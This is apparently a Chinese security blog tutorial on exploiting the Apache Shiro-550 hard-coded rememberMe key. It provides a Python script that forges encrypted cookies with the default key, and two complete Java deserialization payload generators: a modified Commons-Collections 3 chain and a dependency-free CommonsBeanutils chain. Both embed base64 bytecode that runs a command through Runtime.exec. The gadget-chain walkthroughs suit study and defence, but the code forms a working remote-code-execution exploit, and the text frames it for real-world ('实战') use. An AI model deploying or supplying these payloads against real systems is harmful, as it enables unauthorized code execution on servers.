shiro550的介绍就不多说了,就是因为AES加密密钥被硬编码(默认值为kPH+bIxk5D2deZiIxcaaaA==)。导致攻击者可以利用此密钥构造恶意的序列化数据,伪造rememberMe Cookie,从而执行任意代码。
本篇文章主要讲一下shiro的利用链,目前我所知道的有
- cc3的改造链,需要commons-collections3的依赖
- cb原生链,无需其他依赖
两条链都可以分析下,实战中cb链是最好的,因为你也不知道目标环境有没有commons-collections3的依赖
这里的shiro环境我用的是P神的,搭建过程略过
https://github.com/phith0n/JavaThings/tree/master/shirodemo
tomcat启动后可能会加载不出来样式,jsdelivr的缘故,影响不大,burp抓包就行。
cc3改造链
先确保pom.xml存在commons-collections3的依赖
学习这条链之前首先要明白为什么叫cc3的改造链。之前的反序列化文章提到cc6是最通用的一条链,然而在你尝试使用cc6去打时,会发现并没有弹出计算器。
给出生成shiro rememberMe字段的python代码,file_path写序列化出来的文件路径
import base64
import uuid
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename, 'rb') as file:
data = file.read()
return data
def aes_encrypt_data(data, key):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
cipher = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + cipher.encrypt(pad(data)))
return ciphertext
if __name__ == "__main__":
key = "kPH+bIxk5D2deZiIxcaaaA=="
file_path = r"obj.ser"
data = get_file_data(filename=file_path)
payload = aes_encrypt_data(data=data, key=key)
print(payload)
生成cookie后发送,查看tomcat运行日志,你会得到这样一个错误
这是因为tomcat的处理逻辑不一样,具体逻辑不太清楚,直接引用P神在《java安全漫谈》中说到的结论
如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。
那如何构造不含数组的gadget呢?
构造不含数组的gadget
根据前面学习的内容来看,所有的链子最终要么走到transform数组,要么用TemplatesImpl加载字节码,答案很明显了,一定是使用TemplatesImpl字节码加载。
回过头来看cc3的payload,发现两条链都用到了Transformer数组,这就麻烦了。
//使用invokeTransformer.transform()方法触发,执行TemplatesImpl的newTransformer()方法
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(obj),
// new InvokerTransformer("newTransformer", null, null)
// };
//使用TrAXFilter.TrAXFilter()方法触发,执行TemplatesImpl的newTransformer()方法,绕过黑名单
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
要解决这个问题我们先来回顾一下cc3和cc2(以下是cc3的demo)
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("xxx");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, null);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(chainedTransformer, "iMethodName", "newTransformer");
这里用的是TrAXFilter和InstantiateTransformer这条链,我们使用cc2改造一下,cc2提到可以直接用InvokerTransformer.transform()来调用TemplatesImpl.newTransformer(),但是最终cc2是使用TransformingComparator.compare调用InvokerTransformer.transform()的,然而我们这里是commons-collections3的依赖,所以只能另寻出路,现在只要能找到谁能调用InvokerTransformer.transform()并且传入的值必须是TemplatesImpl对象,就可以完善gadget(这里不清楚的师傅可以再去看看cc2)。
LazyMap.get()
最终我们注意到了LazyMap.get(),他可以调用transform方法,只需将factory初始化为InvokerTransformer即可,并且key需要为TemplatesImpl对象。
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
TiedMapEntry.getValue()
初始化factory很简单,LazyMap.decorate()方法可以实现。问题是现在的key怎么初始化,答案是用TiedMapEntry构造函数,在初始化map和key过后,getValue()方法调用LazyMap.get(obj),此时的obj就是TemplatesImpl对象。
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
这样一来问题就解决了,我们不再需要transformer数组,就能够加载任意字节码。
最终payload
package shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABVDYWxjVGVtcGxhdGVJbXBsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEAI0J5dGVzQ29kZUdlbmVyYXRvci9DYWxjVGVtcGxhdGVJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAQAAQAEQANABIACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
out.writeObject(expMap);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
in.readObject();
in.close();
}
}
用python生成shirocookie,成功执行命令
gadget
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
CB原生链
去掉commons-collections3的依赖后,发现原生库里存在Commons Beanutils库。
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对 象(也称为JavaBean)的一些操作方法。
PropertyUtils.getProperty
commons-beanutils中存在一个静态方法 PropertyUtils.getProperty,可以调用任意JavaBean的getter方法,下面举一个例子
创建一个javaBean
package fastjsonGadget;
public class User {
private String name;
private int age;
public User() {
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public User(String name, int age) {
this.name = name;
this.age = age;
System.out.println("调用了User.User()构造方法");
}
}
使用PropertyUtils.getProperty调用getName(),运行后控制台会输出Bob,说明调用了getName(),返回了name的值
package testCode;
import fastjsonGadget.User;
import org.apache.commons.beanutils.PropertyUtils;
public class Test {
public static void main(String[] args) throws Exception{
Object obj = PropertyUtils.getProperty(new User("Bob",12), "name");
System.out.println(obj);
}
}
payload
package commonsbeanutils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.PriorityQueue;
import static commonscollections3.CC6plusCC3.setFieldValue;
public class CB1shiro {
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABVDYWxjVGVtcGxhdGVJbXBsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEAI0J5dGVzQ29kZUdlbmVyYXRvci9DYWxjVGVtcGxhdGVJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAQAAQAEQANABIACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
out.writeObject(queue);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
in.readObject();
in.close();
}
}
TemplatesImpl.getOutputProperties()
cb链在TemplatesImpl.newTransformer()之后和cc3是相同的利用链,都是加载字节码。之前就不同了,cc3是使用TrAXFilter的构造函数调用的TemplatesImpl.newTransformer(),而cb链使用的是TemplatesImpl.getOutputProperties()方法。
可以看到该方法也调用了newTransformer()方法
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
BeanComparator.compare()
那么谁能调用getOutputProperties()方法呢?看到前面的get是否很熟悉,是否可以用到我们前面提到的PropertyUtils.getProperty静态方法来调用getOutputProperties()。
BeanComparator.compare()方法刚好调用了PropertyUtils.getProperty,如果哪个方法能调用到compare方法,我们只需控制o1和this.property分别为TemplatesImpl对象和字符串OutputProperties就可以调用到TemplatesImpl.getOutputProperties()方法了。
PriorityQueue.siftDownUsingComparator()
和cc3相同,调用一个类的compare方法可以使用PriorityQueue.siftDownUsingComparator()方法,只需初始化comparator即可,需要注意的是compare的参数必须是TemplatesImpl对象。
payload中首先并没有直接传入TemplatesImpl对象,为了避免在序列化时触发命令执行,在最后使用反射将queue字段的值改为了一个由两个TemplatesImpl对象组成的数据。
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
setFieldValue(queue, "queue", new Object[]{obj, obj});
经过调试发现,Object c = queue[child]; child为1,对象c为TemplatesImpl对象,这也是为什么会使用数组的原因
之后的利用链和cc4就相同了,都是PriorityQueue类内部的调用,最终走到readObject方法。
gadget
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
BeanComparator.compare()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
用这条无依赖的gadget去打shiro